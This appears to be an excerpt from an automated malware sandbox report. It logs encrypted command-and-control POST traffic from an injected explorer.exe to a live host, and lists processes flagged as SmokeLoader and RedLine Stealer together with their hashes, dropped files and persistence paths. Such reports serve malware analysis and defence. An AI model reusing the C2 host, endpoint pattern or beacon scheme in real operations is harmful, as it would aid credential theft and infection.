2024-10-08 16:24:37 UTC	19	IN	Data Raw: 1a 58 b3 14 d0 ff ef 1b ab d5 44 9d a9 19 24 1b 3c de a6 Data Ascii: XD$<
2024-10-08 16:24:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 16:24:37 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 4f b0 ac 7b 5b 94 2f 8e fb a5 49 75 0f 40 51 70 86 33 86 ea 54 c2 9c a9 b3 9c cf 10 ce 73 f3 0a 45 73 70 80 bd cf 7c c6 1c 25 20 f0 db 31 01 72 f0 5d 54 16 83 19 c9 78 43 66 d9 c7 7f 47 ca 0f f7 a2 70 1e 62 4f 97 d4 85 58 23 aa d0 91 09 29 ee 80 ff 8b 54 15 25 28 bd e0 44 37 f5 d2 98 eb 0f e0 d6 36 42 df 9d 30 3b 76 0a 49 8d d8 2a 5a 2c 48 85 64 39 6f df 29 ee ea 49 62 42 61 fc 57 6e 83 9a b6 22 77 a6 6b e0 cf c9 e4 7a 54 6a 49 6b 6f 35 b7 56 48 95 56 16 b2 96 49 9e ba 4c 2c 9b 9c 43 42 13 5b a3 ab 34 c0 82 5d a9 9e 70 45 78 63 d2 8a a7 06 b3 53 cc e2 23 f1 5f eb 82 a9 0c ba 27 c8 99 eb 5e 0c 15 68 6c d4 ae e1 12 2f 24 0c 48 6d a6 03 50 bc 8c c8 19 7b 50 c9 e8 5e 04 70 28 b9 77 49 81 50 c8 50 6b ae b4 0b 13 a5 ca 64 4c e6 f3 cd d4 f6 e4 Data Ascii: 2000O{[/Iu@Qp3TsEsp\|% 1r]TxCfGpbOX#)T%(D76B0;vI*Z,Hd9o)IbBaWn"wkzTjIko5VHVIL,CB[4]pExcS#_'^hl/$HmP{P^p(wIPPkdL
2024-10-08 16:24:37 UTC	6	IN	Data Raw: 4e 13 8c ae b0 c7 Data Ascii: N
2024-10-08 16:24:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 16:24:37 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a 37 b0 80 d9 81 f6 4b 57 1e 8f 04 5f c4 c0 88 47 ee 18 f5 d8 ff a1 a2 c6 ae 36 1a 9d e0 fb 7a 50 95 22 b5 51 4d 25 b1 f4 18 0c 15 d1 06 0a 15 7b 23 d8 b9 63 41 09 53 8b 61 24 04 92 dd b9 c9 34 db 29 b1 d3 b5 7d 9b b6 ff 21 7f 68 a3 a1 98 ca f2 df ce 52 bb f4 67 4b 05 db df 01 f6 41 65 c4 8c 63 3c 95 b8 4a 79 8f 0e fc ec 98 91 1c 6c 75 27 c8 43 8c b3 ad 55 8f 66 a4 df a5 4c f4 c9 c1 69 5d 48 0b 4f 32 71 7a 52 6c c0 39 48 fa 96 d0 c8 ec f4 9c a0 0a 28 2c 0e 70 0f 5f 56 3f 57 12 a8 f7 ec d3 73 0d 42 60 a6 37 ca 65 e1 1c 43 c8 32 77 4f a8 25 84 73 8c 57 fe fd 9b 22 07 c9 76 67 b6 ef 85 11 52 c9 bf 4e b0 d6 66 9d d8 30 3f 8d 93 5a f5 d5 f3 5f 31 3d a5 2e 45 85 49 21 aa 61 86 37 f7 f5 9a 70 4c 4d f9 1c fb e1 fe d1 ee cb fa 02 71 1e 89 dd 8a 35 Data Ascii: 20007KW_G6zP"QM%{#cASa$4)}!hRgKAec<Jylu'CUfLi]HO2qzRl9H(,p_V?WsB`7eC2wO%sW"vgRNf0?Z_1=.EI!a7pLMq5
2024-10-08 16:24:37 UTC	6	IN	Data Raw: eb 47 a6 2d 95 51 Data Ascii: G-Q
2024-10-08 16:24:37 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	61450	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:38 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://viuhsicxwcdmbdc.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: ninjahallnews.com
2024-10-08 16:24:38 UTC	342	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 41 4c 65 34 01 83 b6 25 93 3c 3c fb 7d bb b5 d2 56 0a e7 6f 0b e8 59 fb c8 73 79 eb 3b 3e 7c da f9 99 54 eb d2 13 78 c5 e4 4a e8 42 38 88 fb 6a 15 41 48 30 06 93 71 ba f1 d0 46 cf fa 74 68 33 f2 5b 2c ec 37 4b 9b d4 84 d7 38 28 cc 7f ce 52 aa 17 4c 81 01 be 4a 7f 64 7b 48 bd cd 42 a1 ac 13 c1 3e 70 99 cf 80 55 c6 86 53 e9 a5 ef cc 33 51 8e 8f 9e 06 2d af 60 28 fa 0a 55 38 e5 3a 1d 38 d8 11 1e 5d eb 8b dd 6d 3b 89 e7 17 8b 58 89 cc da 03 65 6d 34 b1 4d 7c 10 3b 65 ed 09 e0 be 1a 33 25 21 1e 9d bf 40 62 4f 3f 9b e9 e7 57 f7 d2 1f 94 41 c3 e4 da 88 73 95 68 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[ALe4%<<}VoYsy;>\|TxJB8jAH0qFth3[,7K8(RLJd{HB>pUS3Q-`(U8:8]m;Xem4M\|;e3%!@bO?WAsh
2024-10-08 16:24:38 UTC	287	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:24:38 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:24:38 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	61451	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:39 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://phumebsddarvf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: ninjahallnews.com
2024-10-08 16:24:39 UTC	296	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7a 34 01 83 b7 25 93 3c 70 f5 76 91 de f5 1e 15 e5 26 2e ac 72 e5 f0 14 6b e2 08 38 2f c6 ba 8c 73 e2 a7 41 4c e3 87 2f e5 25 31 ff fa 13 1d 31 6e 2c 5a 89 28 c0 93 c1 02 e6 ae 44 0b 1a 97 0e 14 ac 75 72 c2 fd bf b7 3d 28 a4 13 d2 6d f3 71 64 a5 53 cf 60 4b 68 17 5f bd dd 19 b7 85 66 80 39 04 e8 c0 8e 44 c2 8b 6d bf a7 8c bc 34 24 b4 8d 98 63 27 b8 1f 2b 98 2b 6e 2e b0 72 68 7f d2 02 36 44 d0 c4 c3 1e 77 c4 b6 02 fe 4b eb a9 c0 0f 6c 78 31 c9 42 72 4a 44 01 ca 50 ae cc 10 5c 79 51 20 df fd 63 24 11 07 8e ed fc 1c f8 df 05 f5 20 96 87 bd 86 16 af 58 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lz4%<pv&.rk8/sAL/%11n,Z(Dur=(mqdS`Kh_f9Dm4$c'++n.rh6DwKlx1BrJDP\yQ c$ X
2024-10-08 16:24:39 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:39 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	61452	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:40 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://oqtouvjrjhoopu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 360 Host: ninjahallnews.com
2024-10-08 16:24:40 UTC	360	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 7b 34 01 83 b7 25 93 3c 6e d9 76 e1 97 cd 54 39 d2 28 68 b2 4f ed cd 18 67 d8 74 48 44 be a0 eb 6e aa a9 0c 08 c2 ac 68 fa 50 39 95 9b 06 14 78 6e 10 51 db 2c 8a ce da 53 84 fc 22 06 05 aa 07 34 d4 32 1b c8 c6 e6 92 4a 65 ab 0d fb 5f bf 6e 5c a1 13 b3 38 26 44 77 77 a9 bd 06 ea af 1f e5 50 02 c3 dc 81 12 b3 f9 79 bc 8c 86 b7 0a 4c 8d 98 d7 64 52 d4 49 38 dd 1a 19 31 98 68 62 2f b2 36 61 01 e2 8d e4 1f 6e 98 c6 7a b9 79 e3 f0 c0 00 67 3d 54 c5 70 35 0c 3d 1e f5 39 ec c0 06 0a 09 41 45 91 eb 21 74 16 0d b3 d0 f2 4d d9 e2 3e ec 2c d8 b6 da b4 14 d5 5f Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@L{4%<nvT9(hOgtHDnhP9xnQ,S"42Je_n\8&DwwPyLdRI81hb/6anzyg=Tp5=9AE!tM>,_
2024-10-08 16:24:40 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:40 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	61454	23.145.40.168	443	3536	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:46 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ninjahallnews.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 501 Host: ninjahallnews.com
2024-10-08 16:24:46 UTC	501	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 85 a6 6e 6c f2 e8 91 75 49 50 20 67 33 fa a7 84 c7 89 05 40 0c 18 e8 5a dd 46 4c 6a 34 01 83 b7 25 93 3c 48 cf 15 91 a3 dd 2a 25 c6 00 16 9c 51 e5 e3 1b 09 bf 67 33 46 c9 e0 f3 49 fe fe 76 77 f7 96 5d 8f 33 2d 87 e5 6a 0e 47 6b 11 28 eb 19 bb 96 8a 06 8b e6 69 22 2e 90 41 39 b6 26 46 ed f7 99 a5 69 56 b5 62 da 54 94 20 7f ae 3f 85 54 4b 4c 0b 75 ad cd 7c ad ca 1e d8 3d 79 ef cf 8f 3a dd bf 5a 9c b9 91 a3 17 4e b1 d1 a2 74 0f ad 74 2f 89 29 43 37 e6 6e 70 7c c9 1f 37 0e f1 96 cf 21 5e a8 c9 4d c6 45 c6 c6 ce 3e 63 2c 6d c3 44 0a 0e 2f 1b cb 04 bf a6 0b 0f 18 7b 1c e6 83 50 7e 1d 32 cd cb ec 15 f9 f0 01 d5 78 ac b8 df 9a 5f 86 43 Data Ascii: ry`ie2a'C\|G\|nluIP g3@ZFLj4%<H*%Qg3FIvw]3-jGk(i".A9&FiVbT ?TKLu\|=y:ZNtt/)C7np\|7!^ME>c,mD/{P~2x_C
2024-10-08 16:24:47 UTC	287	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:24:47 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 409 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:24:47 UTC	409	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered wh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	61463	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:26:00 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://vufdhvyhyvwjjkm.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 16:26:00 UTC	109	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 16:26:01 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:26:00 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:26:01 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	61465	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:26:17 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://cnafyhqaamox.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 16:26:17 UTC	109	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 16:26:17 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:26:17 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:26:17 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	61467	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:26:37 UTC	289	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://vevyfytohbagkutf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 16:26:37 UTC	109	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 16:26:37 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:26:37 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:26:37 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	61470	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:26:56 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://slehgyiiuvhyal.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: ninjahallnews.com
2024-10-08 16:26:56 UTC	109	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6b 34 01 83 b6 25 93 3c 32 a9 65 e1 d2 fe 51 00 be 76 62 b5 25 c5 93 3b 3d b8 6a 01 20 c8 ea d4 2c be a9 07 02 86 d4 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[CLk4%<2eQvb%;=j ,
2024-10-08 16:26:56 UTC	285	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:26:56 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 7 Content-Type: text/html; charset=utf-8 Connection: close
2024-10-08 16:26:56 UTC	7	IN	Data Raw: 03 00 00 00 1e 0d af Data Ascii:

Target ID:	0
Start time:	12:22:56
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\O4zPA1oI9Y.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\O4zPA1oI9Y.exe"
Imagebase:	0x400000
File size:	223'744 bytes
MD5 hash:	2942CB9FCA04E939AF4ED1EEF717E123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2233484367.000000000061F000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2233359138.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2233667706.0000000002170000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.2233749509.0000000002191000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:23:05
Start date:	08/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:23:24
Start date:	08/10/2024
Path:	C:\Users\user\AppData\Roaming\jvgasii
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\jvgasii
Imagebase:	0x400000
File size:	223'744 bytes
MD5 hash:	2942CB9FCA04E939AF4ED1EEF717E123
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2516872418.00000000006F1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000006.00000002.2516805210.00000000006B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000006.00000002.2517016123.00000000007DD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000006.00000002.2516839505.00000000006D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:23:53
Start date:	08/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DE97.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DE97.exe
Imagebase:	0x400000
File size:	229'376 bytes
MD5 hash:	1096F19319B5C475C2A12B8D0CC4022D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2777517126.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2777599585.00000000006D3000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000009.00000002.2777432655.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000009.00000002.2777687762.00000000008D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:24:18
Start date:	08/10/2024
Path:	C:\Users\user\AppData\Roaming\uegasii
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\uegasii
Imagebase:	0x400000
File size:	229'376 bytes
MD5 hash:	1096F19319B5C475C2A12B8D0CC4022D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000A.00000002.3040636907.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000A.00000002.3041248373.0000000000743000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.3040798589.00000000006B0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000A.00000002.3041046973.00000000006D1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:24:36
Start date:	08/10/2024
Path:	C:\Users\user\AppData\Local\Temp\8CAE.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\8CAE.exe
Imagebase:	0x7ff7cbca0000
File size:	78'336 bytes
MD5 hash:	65AEAA0A0849CB3CE9BC15BCBF0B7B9F
Has elevated privileges:	false
Has administrator privileges:	false
